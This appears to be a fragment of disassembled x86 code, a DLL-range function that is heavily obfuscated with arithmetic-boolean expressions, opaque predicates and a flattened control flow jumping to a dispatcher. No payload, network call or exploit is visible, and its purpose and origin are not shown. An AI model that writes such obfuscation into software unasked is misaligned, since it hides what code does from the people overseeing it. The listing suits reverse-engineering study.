xor cl, 1
or al, dl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov cl, al
xor cl, 1
mov dl, ch
or dl, cl
xor dl, 1
xor cl, ch
or dl, cl
or al, ch
and cl, ch
xor cl, 1
mov ah, cl
xor ah, al
or cl, al
xor cl, 1
or cl, ah
xor cl, 1
mov eax, ecx
xor al, dl
or cl, dl
mov edx, ecx
xor dl, al
test cl, 1
mov edi, 0x3b072366
mov ecx, 0x9df8e724
cmovne edi, ecx
test al, 1
cmove edi, ecx
test dl, 1
mov eax, 0x3b072366
cmove edi, eax
jmp 0x10008b80
mov edi, 0xf464e1a4
jmp 0x10008b80
mov eax, dword [0x10047900]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov ebp, eax
mov dword [esp + 4], eax
mov eax, ecx
xor eax, 0xac1ab441
and eax, ecx
mov edx, ecx
mov esi, ecx
or edx, 0x13254202
mov ecx, eax
not ecx
and edx, 0x9f25e243
mov edi, ebp
mov ebx, ebp
and ebx, 0x201a1400
or ebx, edx
mov edx, esi
mov dword [esp + 8], esi
or esi, ecx
and ecx, 0x9f25e243
and eax, 0x60da1dbc
or eax, ecx
and edi, 0x210b6831
mov ecx, edx
and ecx, 0xdef497ce
or ecx, edi
xor ecx, 0xdef497ce
mov edi, ecx
xor edi, ebp
xor eax, ebx
not esi
or esi, eax
not eax
and eax, 0x53e54bbe
and esi, 0xac1ab441
or esi, eax
mov ebp, esi
not ebp
and edi, ecx
mov edx, esi
xor edx, 0xa8d9ebe2
and edx, ebp
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0xb72eff51
and edx, 0x48d100ae
or edx, eax
mov ebx, edi
xor ebx, 0xa8d9ebe2
mov eax, ebx
and ebx, edi
not edi
and eax, edi
or edi, ebp
or ebp, 0xa8d9ebe2
or ecx, ebp
and ebp, 0xb72eff51
and esi, 0x4000000c
or esi, ebp
xor esi, edx
not ecx
or ecx, esi
mov edx, eax
not edx
mov esi, edx
and esi, 0x3932732e
and eax, 0xc6cd8cd1
or eax, esi
mov esi, ebx
not esi
or edx, esi
and esi, 0x3932732e
and ebx, 0xc6cd8cd1
or ebx, esi
xor ebx, eax
mov esi, dword [esp + 4]
not edx
or edx, ebx
xor edx, ecx
not edi
or edi, edx
mov eax, edi
not eax
mov ecx, eax
and ecx, 0x523b95b1
and edi, 0x20442202
and eax, 0x8d80484c
or eax, edi
xor eax, 0x8d80484c
or eax, ecx
mov edi, eax
not edi
mov ecx, edi
and ecx, 0x523b95b1
and eax, 0xadc46a4e
or eax, ecx
xor edi, eax
and edi, eax
and esi, 0x802c2004
mov edx, dword [esp + 8]
mov eax, edx
and eax, 0x35000248
or eax, esi
xor eax, 0x35000248
mov ecx, edx
xor ecx, 0xb52c224c
and ecx, edx
or eax, ecx
not ecx
and ecx, 0x4ad3ddb3
and eax, 0xb52c224c
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0x32957879
mov esi, edx
and esi, ecx
and edx, eax
or edx, esi
mov esi, edx
xor esi, 0x9f511237
xor edx, 0x60aeedc8
mov ebx, edx
and ebx, 0x3def1ad2
and esi, 0xc210e52d
or esi, ebx
or ecx, 0x523b95b1
or edx, ecx
and ecx, 0x3def1ad2
and eax, 0x8000600c
or eax, ecx
xor eax, esi
not edx
or edx, eax
mov eax, edx
not eax
mov esi, edx
and esi, 0x15212ef6
mov ecx, eax
and ecx, 0xeaded109
or ecx, esi
mov ebx, edi
not ebx
mov esi, ebx
and esi, 0xe84e65c3
mov ebp, edi
and ebp, 0x17b19a3c
or ebp, esi
mov esi, ecx
xor esi, 0x2909008
xor ecx, 0x24c2
and ecx, 0xe84e65c3
and esi, 0x17b19a3c
or esi, ecx
xor esi, ebp
mov ecx, edi
xor ecx, 0x6465d6f
and ecx, edi
not esi
or esi, ebx
and ebx, 0x2044800
and edi, 0x442156f
or edi, ebx
xor edi, 0x442156f
or ecx, edi
mov ebx, edx
xor edx, 0xf9b9a290
and edx, eax
mov edi, eax
and ebx, 0x2d503dee
and edi, 0xd2afc211
or edi, ebx
mov eax, edi
xor eax, 0xd2afc211
xor edi, 0x2b166081
and edi, eax
mov eax, edi
not eax
mov ebx, eax
and ebx, 0x3971e445
and edi, 0xc68e1bba
or edi, ebx
mov ebx, edx
not ebx
or eax, ebx
and ebx, 0x3971e445
and edx, 0xc68e1bba
or edx, ebx
xor edx, edi
not eax
or eax, edx
xor eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x97c890d9
and edx, eax
not eax
or ecx, 0x68376f26
mov ebx, ecx
and ebx, 0xc604d8d3
mov edi, eax
and edi, 0x11c80008
or edi, ebx
mov ebx, edx
not ebx
or ecx, ebx
and ebx, 0xc604d8d3
and edx, 0x39fb272c
or edx, ebx
or eax, esi
mov ebx, esi
xor ebx, 0x68376f26
xor edx, edi
not ecx
or ecx, edx
mov esi, ecx
xor esi, ecx
not esi
and esi, ebx
xor esi, ecx
mov ecx, eax
not ecx
mov edx, esi
not edx
mov edi, edx
and edi, 0x4c5e9fed
and esi, 0xb3a16012
or esi, edi
or edx, eax
and eax, 0x4c5e9fed
and ecx, 0xb3a16012
or ecx, eax
xor ecx, esi
not edx
or edx, ecx
mov edi, edx
not edi
mov esi, edx
mov eax, edx
mov ecx, edi
and ecx, 0xee0d5833
and edx, 0x11f2a7cc
or edx, ecx
mov ecx, edi
not edx
or edx, edi
and edi, 0x4bbb88cc
and esi, 0xb4447733
or esi, edi
mov edi, esi
xor edi, 0x84400000
xor esi, 0x42188008
or ecx, 0x6218d118
or esi, 0x9212803
and esi, 0x6b39f91b
and edi, 0x84400004
or edi, esi
and ecx, 0x6b39f91b
and eax, 0x108606e0
or eax, ecx
xor eax, edi
mov ecx, eax
xor ecx, 0x1222c21
xor eax, 0x66580014
and eax, 0x7edd02d6
and ecx, 0x8122fd29
or ecx, eax
mov eax, ecx
xor eax, 0x80001820
xor ecx, 0x2010002
and ecx, 0x2014003
and eax, 0xec0c1830
or eax, ecx
mov edi, eax
xor edi, 0x84040830
xor eax, 0x13f3e7cf
mov ecx, eax
or ecx, edx
not ecx
and eax, 0x790973c6
and edi, 0x86040831
or edi, eax
xor edi, edx
xor edi, 0x86f68c39
or edi, ecx
mov eax, edi
not eax
mov ecx, eax
and ecx, 0x44e7bc8a
mov edx, edi
and edx, 0xbb184375
or edx, ecx
mov ecx, edx
xor ecx, 0x1100000
xor edx, 0x40040002
or eax, 0xc8044046
or edx, 0x6a80628
and edx, 0xceac466e
and ecx, 0x152b000
or ecx, edx
and eax, 0xceac466e
and edi, 0x30010991
or edi, eax
xor edi, ecx
mov edx, edi
xor edx, 0x75603dc5
mov eax, edi
xor eax, 0x8a9fc23a
mov ecx, eax
and ecx, 0xd2f30810
mov esi, edx
and esi, 0x2d0cf7ef
or esi, ecx
mov ecx, esi
xor ecx, 0x8080080
xor esi, 0xd0100810
or esi, 0x26e3614b
mov ebx, esi
and ebx, 0x5704f73e
and ecx, 0x88180880
or ecx, ebx
xor edi, 0xac7ca371
and edi, edx
mov ebx, edi
not ebx
or esi, ebx
and ebx, 0x5704f73e
and edi, 0xa8fb08c1
or edi, ebx
xor edi, ecx
not esi
or esi, edi
mov ecx, esi
xor ecx, 0x22402008
xor esi, 0x1000090
and ecx, 0x62502008
and esi, 0x1220091
or esi, ecx
mov ecx, esi
xor ecx, 0x1220091
and eax, 0x4cb73091
and edx, 0xb348cf6e
or edx, eax
mov ebx, edx
xor ebx, 0xb348cf6e
xor edx, 0xb63001
and edx, 0x83fe3203
mov edi, ebx
and edi, 0x7c01cdfc
or edi, edx
mov eax, esi
xor eax, 0xfedd026c
xor edi, 0xe08c129a
and ebx, 0x63722099
or ebx, edi
and eax, 0xfeff02ed
xor esi, 0x62502080
and esi, ecx
mov edx, ecx
and edx, 0x1002010
or edx, eax
mov ecx, edx
xor ecx, 0x100fd12
mov dword [esp], ecx
mov eax, edx
xor eax, 0x818c22dc
and eax, ecx
or esi, eax
mov dword [esp + 0xc], ebx
mov ecx, ebx
xor ecx, 0x808c53ce
mov ebp, ecx
and ebp, ebx
mov edi, ebp
not edi
mov eax, edi
and eax, 0x73669f09
and ebp, 0x8c9960f6
or ebp, eax
mov ebx, dword [esp + 0xc]
not ebx
and ecx, ebx
mov eax, ecx
not eax
or edi, eax
and eax, 0x73669f09
and ecx, 0x8c9960f6
or ecx, eax
xor ecx, ebp
not edi
or edi, ecx
xor edi, esi
xor edx, 0xfeff02ed
mov eax, edx
and eax, 0x63620098
mov ecx, dword [esp]
and ecx, 0x849c3a41
or ecx, eax
mov dword [esp], ecx
or edx, ebx
and ebx, 0x7b63c5be
mov ebp, dword [esp + 0xc]
and ebp, 0x849c3a41
or ebp, ebx
mov ebx, dword [esp + 4]
mov eax, ebx
and eax, 0x3f7f270b
mov ecx, dword [esp + 8]
mov esi, ecx
and ecx, 0xc080d8f4
or ecx, eax
xor ecx, 0xfc542e22
or ecx, ebx
mov eax, ecx
mov ecx, ebx
xor edi, 0x8c00
xor ebp, dword [esp]
not edx
or edx, ebp
not edx
or edx, edi
mov ebx, edx
xor ebx, 0x9c8ddf66
and esi, 0x2084d252
and ecx, 0x1c502484
or ecx, esi
mov esi, ecx
xor esi, 0xdf7b2dad
xor ecx, esi
xor ecx, 0x2084d252
and ecx, eax
xor ecx, esi
or esi, eax
not esi
or ecx, esi
mov eax, ecx
xor eax, 0xc32b0929
mov esi, ecx
xor esi, 0x3cd4f6d6
xor edx, 0x63722099
mov ebp, edx
and ebp, 0xd7677070
mov edi, ebx
and edi, 0x28988f8f
or edi, ebp
mov dword [esp], edi
mov edi, eax
and edi, 0xd7677070
mov ebp, esi
and ebp, 0x28988f8f
or ebp, edi
xor ecx, 0xfaa58e0c
and ecx, eax
xor ebp, dword [esp]
mov edi, ebp
xor edi, edx
and edi, ebp
and edx, 0x398e8725
and ebx, 0xc67178da
or ebx, edx
and esi, 0x10008525
and eax, 0x298e0200
or eax, esi
xor eax, 0x298e0200
or ecx, eax
xor ecx, ebx
mov esi, edi
not esi
mov edx, ecx
not edx
mov eax, esi
or eax, edx
not eax
and esi, 0x399f4a2e
and edi, 0xc660b5d1
or edi, esi
and edx, 0x399f4a2e
and ecx, 0xc660b5d1
or ecx, edx
xor ecx, edi
or ecx, eax
mov ebx, ecx
not ebx
mov dword [esp], ebx
mov eax, ebx
and eax, ecx
mov edx, eax
not edx
mov edi, ecx
and edi, 0xa0811a0e
and ebx, 0x5f7ee5f1
or ebx, edi
mov edi, ecx
or edi, edx
and edx, 0xa0811a0e
and eax, 0x5f7ee5f1
or eax, edx
xor eax, ebx
not edi
or edi, eax
mov ebx, edi
not ebx
mov edx, ebx
or edx, 0xa6354001
and edx, 0xb7bde2f1
mov eax, edi
and eax, 0x40001408
or eax, edx
mov edx, eax
xor edx, 0x48421d0e
mov dword [esp + 4], edx
mov ebp, eax
xor ebp, 0x8b0e7ec0
and ebp, edx
mov edx, ebp
not edx
mov esi, edx
and esi, 0x50c89126
and ebp, 0x211026d9
or ebp, esi
or ebx, 0xbef7dd37
or edx, ebx
and ebx, 0x5ceb9926
and edi, 0x10022c8
or edi, ebx
mov ebx, dword [esp]
or ebx, 0x5188b6f8
mov dword [esp], ebx
xor edi, ebp
not ebx
not edx
or edx, edi
mov edi, ebx
or edi, 0xc34c63ce
mov esi, edi
and esi, 0x6e044341
mov ebp, dword [esp]
and ebp, 0x331c10
or ebp, esi
xor ecx, 0x2c330801
and ecx, ebx
mov esi, ecx
not esi
or edi, esi
and esi, 0x7e84c361
and ecx, 0x80730806
or ecx, esi
xor ecx, ebp
not edi
or edi, ecx
mov ecx, edi
xor ecx, edi
not ecx
and ecx, edx
xor ecx, edi
xor eax, 0xb7bde2f1
mov edx, eax
and edx, 0x11002040
mov esi, dword [esp + 4]
and esi, 0x44e897be
or esi, edx
or eax, ebx
and ebx, 0xaa174801
mov edx, dword [esp]
and edx, 0x44e897be
or edx, ebx
xor edx, esi
not eax
or eax, edx
not eax
or eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xf8d0044
and ecx, eax
or eax, 0xf072ffbb
mov esi, eax
and esi, 0x74613324
and edx, 0xb8c0040
or edx, esi
mov esi, ecx
not esi
or eax, esi
and esi, 0x74613324
and ecx, 0x8b9eccdb
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0xa1520000
xor eax, 0x180420bc
and eax, 0x18ac69ff
and ecx, 0xe7539600
or ecx, eax
mov eax, ecx
xor eax, 0xe3110600
xor ecx, 0x2c20df
and ecx, 0x46eb0df
and eax, 0xfb914f20
or eax, ecx
mov ecx, eax
xor ecx, 0x46100d
xor eax, 0x5b104620
and eax, 0x5f38e6f2
and ecx, 0xa0c7190d
or ecx, eax
mov edx, ecx
xor edx, 0x4b3802c2
xor ecx, 0xa0821904
and ecx, 0xb482fd34
and edx, 0x4b7d02cb
or edx, ecx
mov eax, edx
xor eax, 0xb482fd34
xor edx, 0x42240002
and edx, 0x42244002
mov ecx, eax
and ecx, 0x80c80e0c
or ecx, edx
xor ecx, 0x80c80e0c
and eax, 0x3d13b1f1
or eax, ecx
mov ecx, eax
xor ecx, 0x31120121
xor eax, 0x4264040e
and eax, 0x4e65b4de
and ecx, 0xb19a4b21
or ecx, eax
xor ecx, 0x4e65b4de
sete dh
setne bl
cmp dword [0x10047904], 0xa
setl ah
setge dl
mov bh, bl
xor bh, dl
mov al, dh
or al, ah
mov ecx, eax
xor cl, al
mov ch, dl
or ch, bl
not cl
and cl, ch
xor cl, al
or ch, al
xor cl, 1
mov al, cl
xor al, ch
or cl, ch
xor cl, 1
or cl, al
mov al, cl
xor al, 1
mov ch, dl
and ch, al
and cl, ah
or cl, ch
xor cl, 1
or cl, al
mov al, cl
xor al, 1
mov byte [esp], al
mov ch, bh
xor ch, 1
and bl, ch
and bh, dh
or bh, bl
xor ch, bh
and ch, bh
mov bl, dh
xor bl, ah
and dh, bl
and bl, ah
xor dh, 1
xor bl, 1
mov al, dh
xor al, bl
or bl, dh
xor bl, 1
or bl, al
mov al, bl
xor al, 1
and dl, al
and bl, ah
or bl, dl
xor bl, 1
or bl, al
mov ah, bl
xor ah, 1
mov al, bl
or al, ch
mov edx, ebx
and dl, ah
xor dl, 1
mov dh, dl
xor dh, ah
or dl, ah
xor ah, ch
and ah, ch
xor ch, 1
xor ah, 1
mov bh, al
xor bh, ah
or ah, al
xor ah, 1
or ah, bh
xor dl, 1
or dl, dh
xor dl, ch
mov al, ch
xor al, bl
or ch, bl
xor ch, 1
or ch, al
xor ch, 1
or ch, dl
mov dh, ch
xor dh, 1
mov dl, ah
xor dl, 1
and ah, dl
and dh, ch
xor ah, 1
mov al, ah
xor al, dl
or ah, dl
xor ah, 1
or ah, al
xor dh, 1
mov al, dh
xor al, ch
or dh, ch
xor dh, 1
or dh, al
mov al, ah
xor al, 1
and al, dh
xor dh, 1
and dh, ah
or dl, ch
xor dl, 1
or dl, al
or dl, dh
mov ah, cl
mov dh, byte [esp]
and ah, dh
xor ah, 1
mov al, dh
xor al, ah
or ah, dh
xor ah, 1
or ah, al
mov ch, dl
xor ch, 1
mov al, ah
xor al, dh
or dh, ah
xor dh, 1
or dh, al
mov al, cl
or al, dh
xor al, 1
xor dh, cl
or dh, al
mov byte [esp], dh
mov dh, ch
and dh, dl
xor dh, 1
mov cl, dl
or cl, dh
xor cl, 1
or cl, ch
mov al, cl
xor al, 1
mov ebx, eax
and bl, cl
xor bl, 1
or bl, cl
xor bl, 1
or bl, al
xor bl, 1
mov bh, bl
xor bh, al
or bl, al
xor bl, 1
or bl, bh
mov bh, bl
xor bh, 1
and al, bl
and bh, cl
or bh, al
or bl, cl
xor bh, 1
mov al, bh
xor al, bl
or bh, bl
xor bh, 1
or bh, al
mov cl, bh
xor cl, 1
mov al, byte [esp]
or cl, al
xor al, 1
or al, bh
xor al, 1
xor cl, 1
or cl, al
or dh, ch
xor dh, 1
or dh, dl
xor dh, 1
mov al, ah
xor al, dh
and dh, al
and al, ah
xor dh, 1
xor al, 1
mov dl, dh
xor dl, al
or al, dh
xor al, 1
or al, dl
mov dl, ch
xor dl, ah
or ch, ah
xor ch, 1
or ch, dl
xor al, 1
mov edx, eax
or dl, ch
xor dl, 1
xor al, ch
or al, dl
mov ah, al
xor ah, 1
mov edx, eax
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and dl, al
xor dl, 1
mov ah, al
xor ah, dl
or dl, al
xor dl, 1
or dl, ah
mov eax, edx
xor al, 1
and dl, al
xor dl, 1
mov ah, dl
xor ah, al
or dl, al
xor dl, 1
or dl, ah
mov eax, edx
xor al, 1
and al, dl
xor al, 1
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov ah, al
xor ah, 1
mov edx, ecx
or dl, al
xor dl, 1
xor al, cl
or dl, al
or ah, cl
xor ah, 1
and al, cl
or al, ah
mov ah, al
xor ah, 1
mov cl, ah
and cl, al
mov ch, ah
xor ch, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, ch
mov ch, cl
xor cl, 1
and cl, dl
xor ah, dl
xor dl, 1
and ch, dl
or cl, ch
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test al, 1
mov edi, 0xaf75a530
mov eax, 0x5996fb17
cmovne edi, eax
test cl, 1
cmove edi, eax
test dl, 1
mov eax, 0xaf75a530
cmove edi, eax
jmp 0x10008b80
mov eax, dword [esp + 0x40]
cmp eax, 0xffffffff
mov edi, 0x7972d1e4
mov eax, 0x9d67bf76
cmove edi, eax
jmp 0x10008b80
mov ecx, dword [0x10047900]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
xor esi, 0xea807a0b
and esi, eax
mov edx, eax
or edx, 0x157f85f4
mov edi, esi
not edi
mov ebx, edx
and ebx, 0x3b26edf9
mov ebp, ecx
and ebp, 0xc0801202
or ebp, ebx
or edx, edi
and edi, 0x3b26edf9
and esi, 0xc4d91206
or esi, edi
xor esi, ebp
not edx
or edx, esi
mov esi, edx
xor esi, 0x5528044
xor edx, 0x22800a08
and edx, 0x32ad0fb8
and esi, 0xcd52f047
or esi, edx
mov edx, esi
xor edx, 0x32ad0fb8
and edx, esi
and ecx, 0x8f8743e4
and eax, 0x7078bc1b
or eax, ecx
mov ecx, eax
xor ecx, 0x7078bc1b
xor eax, 0x89024004
and eax, 0xb95a7817
mov esi, ecx
and esi, 0x46a587e8
or esi, eax
xor esi, 0x74088850
and ecx, 0xcd52f047
or ecx, esi
xor ecx, edx
and edx, ecx
not ecx
or ecx, edx
mov eax, ecx
mov edx, ecx
xor edx, 0x32ad0fb8
and edx, ecx
not ecx
or eax, 0xcd52f047
mov esi, edx
not esi
mov edi, eax
and edi, 0x7e676c3d
and ecx, 0x880380
or ecx, edi
or eax, esi
and esi, 0x7e676c3d
and edx, 0x819893c2
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
or edx, 0x49d54100
mov esi, eax
or esi, 0xa002a258
and esi, 0xe9d7e358
and ecx, 0x6080405
or ecx, esi
and edx, 0xe9d7e358
and eax, 0x102018a2
or eax, edx
xor eax, ecx
mov esi, eax
xor esi, 0x902018a0
xor eax, 0x4d0c0000
and eax, 0x6d0ea25a
and esi, 0x92f15da5
or esi, eax
mov eax, esi
xor eax, 0x6d0ea25a
xor esi, 0x90501881
mov ecx, eax
and ecx, 0x2aa56564
and esi, 0xd55a9a9b
or esi, ecx
xor esi, 0xd55a9a9b
or esi, eax
mov ecx, esi
not ecx
mov eax, esi
and eax, 0xd9b79052
mov edx, ecx
and edx, 0x26486fad
or edx, eax
mov eax, edx
xor eax, 0x26084429
mov edi, edx
xor edi, 0xc8a00052
and edi, 0xc8e02bd6
and eax, 0x371fd429
or eax, edi
xor eax, 0x371fd429
xor edx, 0x26486fad
or edx, eax
and esi, 0xfd4ec759
and ecx, 0x2b138a6
or ecx, esi
mov eax, ecx
xor eax, 0xfd4ec759
mov esi, eax
mov dword [esp], eax
mov eax, edx
and eax, 0xae745499
mov ebx, edx
not ebx
mov ebp, ebx
and ebp, 0x518bab66
or ebp, eax
xor ecx, 0x2b138a6
mov eax, ecx
and eax, 0xd29f9bb4
and esi, 0x2d60644b
or esi, eax
mov dword [esp + 8], esi
mov esi, ebp
xor esi, 0x518bab66
mov dword [esp + 4], esi
mov eax, ebp
xor eax, 0x7cebcf2d
and eax, esi
mov edi, eax
not edi
mov esi, edi
and esi, 0xdb1176aa
and eax, 0x24ee8955
or eax, esi
or edx, 0xd29f9bb4
or edi, edx
and edx, 0xdb1176aa
and ebx, 0x24600041
or ebx, edx
xor ebx, eax
not edi
or edi, ebx
xor edi, dword [esp + 8]
xor ebp, 0xae745499
mov eax, ebp
and eax, 0x7ff4ff80
mov edx, dword [esp + 4]
and edx, 0x800b007f
or edx, eax
mov eax, dword [esp]
or ebp, eax
and eax, 0x7ff4ff80
and ecx, 0x800b007f
or ecx, eax
xor ecx, edx
not ebp
or ebp, ecx
not ebp
or ebp, edi
mov edx, ebp
not edx
mov eax, edx
and eax, 1
mov esi, ebp
and esi, 0xfffffffe
or esi, eax
mov eax, ebp
and eax, 0xe5b22454
mov ecx, edx
and ecx, 0x1a4ddbab
or ecx, eax
xor ecx, esi
xor ecx, 0x1a4ddbab
or esi, ebp
not esi
or esi, ecx
mov eax, edx
and eax, 0x7f027520
mov ecx, ebp
and ecx, 0x80fd8adf
or ecx, eax
mov ebx, ecx
xor ebx, 0x800200
xor ecx, 0x40003500
mov edi, ebp
xor edi, 0x40a0b754
and edi, ebp
mov eax, ecx
or eax, 0x270f4823
and eax, 0x272fdd77
and ebx, 0x40802200
or ebx, eax
mov eax, edi
not eax
or ecx, eax
and eax, 0x272fdd77
and edi, 0xd8d02288
or edi, eax
xor edi, ebx
not ecx
or ecx, edi
not edi
and edi, 0x31248a2
and ecx, 0x8550
or ecx, edi
mov edi, ecx
not edi
and edx, 0x54a0220d
and ebp, 0xa84d1000
or ebp, edx
mov ebx, ebp
xor ebx, 0xa0451000
or ebx, 0x310c090
xor ebp, 0x10800205
and ebp, 0x18880205
and ebx, 0xe775f098
or ebx, ebp
mov eax, ebx
xor eax, 0x84600000
xor ebx, 0x188a0f67
mov edx, ecx
xor edx, ebx
and edx, ecx
and edi, 0x7b15bac8
and ecx, 0x24532
or ecx, edi
and ebx, 0x7b15bac8
and eax, 0x84e80005
or eax, ebx
xor eax, ecx
mov ebx, edx
not ebx
mov ecx, eax
not ecx
mov edi, ebx
and edi, 0xb0bee27
and edx, 0x441411d0
or edx, edi
or ebx, ecx
and ecx, 0xb0bee27
and eax, 0xf4f411d8
or eax, ecx
xor eax, edx
not ebx
or ebx, eax
mov ebp, ebx
xor ebp, 0xfced320c
xor ebx, 0x312cdf3
mov eax, ebx
mov dword [esp + 4], ebx
and eax, 0xedb4780
mov edx, ebp
and edx, 0xf124b87f
or edx, eax
mov eax, edx
xor eax, 0x1124b86e
xor edx, 0xedb4780
and ebx, ebp
mov ecx, edx
and ecx, 0xe08b4411
and eax, 0x1f74bbee
or eax, ecx
mov ecx, ebx
not ecx
or edx, ecx
and ecx, 0xe08b4411
and ebx, 0x1f74bbee
or ebx, ecx
mov ecx, esi
not ecx
xor ebx, eax
not edx
or edx, ebx
mov eax, ecx
and eax, 0x50080000
mov edi, esi
and edi, 0x2400e098
or edi, eax
mov dword [esp], edi
mov ebx, edx
not ebx
mov eax, edx
mov edi, edx
mov edx, ecx
and edi, ecx
mov dword [esp + 0xc], edi
or edx, ebx
mov dword [esp + 0x10], edx
mov edx, ebx
and ebx, esi
mov dword [esp + 0x14], ebx
and esi, 0x8ab71b24
and ecx, 0x1400443
or ecx, esi
and edx, 0xdf639ec7
and eax, 0x209c6138
or eax, edx
mov esi, eax
xor esi, 0x209c6138
xor eax, 0xc4431482
and eax, 0xe45b15ba
mov edx, esi
and edx, 0x1ba4ea45
or edx, eax
xor edx, 0x6fac0add
and esi, 0x8bf71f67
or esi, edx
mov dword [esp + 0x1c], esi
mov eax, dword [esp + 4]
or eax, 0x24082080
and ebp, 0x80601026
and eax, 0x2f9f2fc1
or eax, ebp
mov dword [esp + 4], eax
xor ecx, 0x1400443
or ecx, 0x7408e098
mov edi, ecx
not edi
and ecx, 0x234e369d
mov edx, edi
and edx, 0x88b10962
or edx, ecx
mov ecx, edx
xor ecx, 0xdcb1c962
mov esi, ecx
and esi, 0x87af74ec
and edi, 0x8500b03
or edi, esi
mov ebp, dword [esp]
xor ebp, 0x2400e098
lea ebx, [ebp - 0x7408e099]
mov esi, ebx
xor esi, 0x78508b13
and esi, ebx
mov eax, esi
not eax
mov dword [esp + 8], eax
and dword [esp + 8], 0x4818021a
and esi, 0xb7a0f4c0
add esi, dword [esp + 8]
or ebp, 0x8fff7fef
xor dword [esp], 0x10000000
or eax, ebp
and ebp, 0x481f023e
and dword [esp], 0x30008000
add dword [esp], ebp
mov ebp, dword [esp]
xor ebp, esi
not eax
or eax, ebp
mov esi, edi
xor esi, edi
not esi
and esi, eax
xor esi, edi
mov ebp, ebx
not ebp
mov eax, ebp
and eax, 0x74086000
and ebx, 0x1287de
or ebx, eax
xor edx, 0x234e369d
or ebp, edx
and edx, 0x8be51821
and ecx, 0x1287de
or ecx, edx
xor ecx, ebx
not ebp
or ebp, ecx
not ebp
or ebp, esi
mov ecx, dword [esp + 4]
mov esi, ecx
xor esi, 0x70800
xor ecx, 0xd060d03e
mov edx, dword [esp + 0x1c]
mov eax, edx
or eax, ecx
and ecx, 0x5fd0e749
and esi, 0x80271826
or esi, ecx
xor esi, edx
mov ecx, esi
xor ecx, 0xa02f18b6
xor esi, 0x5fd0e749
mov edx, esi
and edx, 0xfd1e64ed
and ecx, 0x2e19b12
or ecx, edx
or esi, eax
and eax, 0xffff7fef
xor eax, ecx
xor eax, 0x2e11b02
not esi
or esi, eax
mov eax, ebp
xor eax, esi
or esi, ebp
and esi, eax
mov ecx, dword [esp + 0x10]
not ecx
mov eax, dword [esp + 0x14]
or eax, dword [esp + 0xc]
or eax, ecx
mov edi, eax
not edi
mov ebx, esi
mov dword [esp], esi
mov edx, esi
not edx
mov dword [esp + 4], edx
and eax, 0xa28468e3
mov esi, edi
and esi, 0x5d7b971c
or esi, eax
mov edx, esi
xor edx, 0x5d7b971c
xor ebx, 0x5054dbd0
mov eax, edx
and eax, 0x5054dbd0
and edi, 0xafab242f
or edi, eax
mov ecx, ebx
and ecx, dword [esp + 4]
mov ebp, ecx
not ebp
mov eax, ebp
and eax, 0x40189e54
and ecx, 0xbfe761ab
or ecx, eax
and ebx, dword [esp]
mov eax, ebx
not eax
or ebp, eax
and eax, 0x40189e54
and ebx, 0xbfe761ab
or ebx, eax
xor ebx, ecx
xor esi, 0xa28468e3
not ebp
or ebp, ebx
xor ebp, edi
mov edi, dword [esp]
mov ecx, edi
and ecx, 0x2cfe694c
mov ebx, dword [esp + 4]
and ebx, 0xd30196b3
or ebx, ecx
or edi, esi
and esi, 0x2cfe694c
and edx, 0xd30196b3
or edx, esi
xor edx, ebx
not edi
or edi, edx
not edi
or edi, ebp
mov ecx, edi
not ecx
mov eax, ecx
mov edx, ecx
mov dword [esp + 8], ecx
and eax, 0x4678085a
mov ecx, edi
mov dword [esp], edi
and ecx, 0xb987f7a5
or ecx, eax
mov esi, ecx
xor esi, 0xa88552a4
xor ecx, 0x4200800
and ecx, 0x1522ad01
and esi, 0xeadd52fe
or esi, ecx
mov eax, esi
xor eax, 0x11200101
xor esi, 0x6a50026e
and eax, 0x91ad5191
and esi, 0x6e52ae6e
or esi, eax
mov ebx, esi
xor ebx, 0x2000ac26
mov eax, edx
and eax, 0x59c3d70f
mov ecx, edi
and ecx, 0xa63c28f0
or ecx, eax
mov eax, ecx
xor eax, 0xa63c28f0
xor ecx, 0x1c0810a
and ecx, 0x25e4894a
mov edx, eax
and edx, 0xda1b76b5
or edx, ecx
xor edx, 0xda1b76b5
or edx, eax
mov ecx, esi
xor ecx, 0x91ad5191
mov eax, ecx
and eax, 0x5fff4348
and ebx, 0xa000bcb7
or ebx, eax
mov eax, ebx
xor eax, 0xa000bcb7
mov ebp, eax
mov dword [esp + 0xc], eax
xor ebx, 0x5fff4348
mov eax, ebx
or eax, 0x8840811
and eax, 0x8fd61b15
and ebp, 0x40292022
or ebp, eax
or ecx, 0x87521304
xor esi, 0x20008448
and ecx, 0x8fd61b15
and esi, 0x3000c4c8
or esi, ecx
xor esi, ebp
mov ebp, edx
xor ebp, 0x3884ccd9
and ebp, edx
mov eax, ebp
not eax
mov ecx, eax
and ecx, 0xa0374998
and ebp, 0x5fc8b667
or ebp, ecx
mov ecx, edx
not ecx
mov dword [esp + 4], ecx
mov edi, edx
or edi, 0xc77b3326
or eax, edi
and edi, 0xa0374998
mov ecx, dword [esp + 4]
and ecx, 0x18808441
or ecx, edi
xor ecx, ebp
not eax
or eax, ecx
mov ebp, eax
xor ebp, eax
not ebp
and ebp, esi
xor ebp, eax
mov eax, ebx
and eax, 0xeba22dbd
mov ecx, dword [esp + 0xc]
and ecx, 0x145dd242
or ecx, eax
mov eax, dword [esp + 4]
or ebx, eax
and eax, 0xeba22dbd
and edx, 0x145dd242
or edx, eax
xor edx, ecx
not ebx
or ebx, edx
mov eax, ebp
not eax
mov ecx, eax
and ecx, 0x3e40d8ea
and ebp, 0xc1bf2715
or ebp, ecx
xor ebp, ebx
xor ebp, 0xc1bf2715
or eax, ebx
not eax
or eax, ebp
mov esi, eax
not esi
and eax, 0x71d156ac
mov edi, esi
and edi, 0x8e2ea953
or edi, eax
mov edx, edi
xor edx, 0x8e2ea953
mov eax, edx
